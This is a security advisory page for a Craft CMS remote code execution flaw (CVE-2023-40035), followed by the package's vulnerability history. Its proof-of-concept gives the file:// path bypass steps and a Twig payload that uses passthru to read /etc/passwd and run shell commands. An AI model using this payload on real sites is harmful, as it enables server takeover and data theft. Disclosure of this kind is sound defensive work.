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High

Craft CMS vulnerable to Remote Code Execution via validatePath bypass

  • Disclosed: 21.08.2023
  • Updated: 11.10.2026 10:22

Summary

Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

In bootstrap.php, the SystemPaths path is set as below.

php
// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);

// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);

// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";

Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()

php
    /**
     * @param string $attribute
     * @param array|null $params
     * @param InlineValidator $validator
     * @return void
     * @since 4.4.6
     */
    public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
    {
        // Make sure it’s not within any of the system directories
        $path = FileHelper::absolutePath($this->getRootPath(), '/');

        $systemDirs = Craft::$app->getPath()->getSystemPaths();

        foreach ($systemDirs as $dir) {
            $dir = FileHelper::absolutePath($dir, '/');
            if (str_starts_with("$path/", "$dir/")) {
                $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
                break;
            }
        }
    }

ref. https://www.php.net/manual/en/wrappers.file.php

PoC

  1. Create a new filesystem. Base Path: file:///var/www/html/templates

1

  1. Create a new asset volume. Asset Filesystem: local_bypass

2

  1. Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
twig
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}

3 4

  1. Create a new route. URI: * , Template: poc.ttml

5

  1. Confirm RCE on arbitrary path ( /* )

6

PoC Env

0628 env

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package craftcms/cms >= 4.0.0-RC1, < 4.4.15, >= 3.0.0, < 3.8.15 4.4.15, 3.8.15

References

CVSS score 7.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-74
Platform
Composer
Package
craftcms/cms
Disclosed
21.08.2023
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-44wr-rmwq-3phw - CC BY 4.0

Vulnerability history: craftcms/cms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (127) in the archive
Total entries
127
First → latest
07.2021 08.2026
Without a fix
6
Exploited in attacks
4

Severity breakdown

  • Critical 9
  • High 41
  • Medium 65
  • Low 12

Disclosures per year

Severity:
  1. Craft CMS vulnerable to Remote Code Execution via validatePath bypass this entry
    High · 7.2 CVE-2023-40035 >= 4.0.0-RC1, < 4.4.15, >= 3.0.0, < 3.8.15 4.4.15, 3.8.15
  2. Craft CMS: Passkey login accepts replayed WebAuthn assertions
    Critical CVE-2026-72780 >= 5.0.0-RC1, < 5.10.5 5.10.5
  3. Craft CMS: Arbitrary user password reset leading to administrator account takeover
    High CVE-2026-72786 >= 5.0.0-RC1, < 5.10.8 5.10.8
  4. Craft CMS: Authenticated RCE through Twig sandbox escape
    High CVE-2026-72781 >= 5.0.0-RC1, < 5.10.7, >= 4.0.0-RC1, < 4.18.3 5.10.7, 4.18.3
  5. Craft CMS: Authenticated RCE via `condition.config` JSON cleanse bypass
    High CVE-2026-72778 >= 5.0.0-RC1, < 5.10.6, >= 4.0.0-RC1, < 4.18.2 5.10.6, 4.18.2
  6. Craft CMS: RCE via missing cleanseConfig in FieldsController::actionRenderCardPreview
    High CVE-2026-56382 >= 5.5.0, < 5.9.14 5.9.14
  7. Craft CMS: Potential authenticated Remote Code Execution via referrer redirect
    High CVE-2026-55794 >= 5.9.0, < 5.10.0 5.10.0
  8. Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget
    High CVE-2026-55790 >= 5.0.0-RC1, < 5.9.23, >= 4.0.0-RC1, < 4.17.16 5.9.23, 4.17.16
  9. Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves
    High CVE-2026-50282 >= 5.0.0-RC1, < 5.9.21, >= 4.0.0-RC1, < 4.17.14 5.9.21, 4.17.14
  10. Craft CMS's mass assignment via id in newAttributes during bulk duplicate overwrites existing elements
    High CVE-2026-50281 >= 5.7.0, < 5.9.21 5.9.21
  11. Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets
    High CVE-2026-50284 >= 5.0.0-RC1, < 5.9.22, >= 4.0.0-RC1, < 4.17.15 5.9.22, 4.17.15
  12. Craft CMS: Authorship spoofing in `entries/save-entry` via pre-check/post-mutation authorization gap
    High CVE-2026-50279 >= 5.0.0-RC1, < 5.9.21 5.9.21
  13. Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs
    Critical CVE-2026-55791 >= 5.0.0-RC1, < 5.10, >= 4.0.0-RC1, < 4.18 5.10, 4.18
  14. Craft CMS's Missing Volume Permission Check in AssetsController::actionShowInFolder Allows Information Disclosure
    High CVE-2026-44012 >= 5.0.0-RC1, < 5.9.18 5.9.18
  15. Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior
    High CVE-2026-44011 >= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18 4.17.12, 5.9.18
  16. Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure
    High CVE-2026-44010 >= 5.0.0, < 5.9.18, >= 4.0.0, < 4.17.12 5.9.18, 4.17.12
  17. Craft CMS is Vulnerable to Authenticated Remote Code Execution via Malicious Attached Behavior
    High CVE-2026-33157 >= 5.6.0, < 5.9.13 5.9.13
  18. Craft CMS Vulnerable to Privilege Escalation/Bypass through UsersController->actionImpersonateWithToken()
    High CVE-2026-32267 >= 4.0.0-RC1, < 4.17.6, >= 5.0.0-RC1, < 5.9.12 4.17.6, 5.9.12
  19. Craft CMS vulnerable to behavior injection RCE ElementIndexesController and FieldsController
    High CVE-2026-32264 >= 4.0.0-RC1, < 4.17.5, >= 5.0.0-RC1, < 5.9.11 4.17.5, 5.9.11
  20. Craft CMS vulnerable to behavior injection RCE via EntryTypesController
    High CVE-2026-32263 >= 5.6.0, < 5.9.11 5.9.11
  21. CraftCMS has an RCE vulnerability via relational conditionals in the control panel
    High CVE-2026-31857 >= 5.0.0-RC1, < 5.9.9, >= 4.0.0-beta.1, < 4.17.4 5.9.9, 4.17.4
Show more (20) Showing 21 of 50

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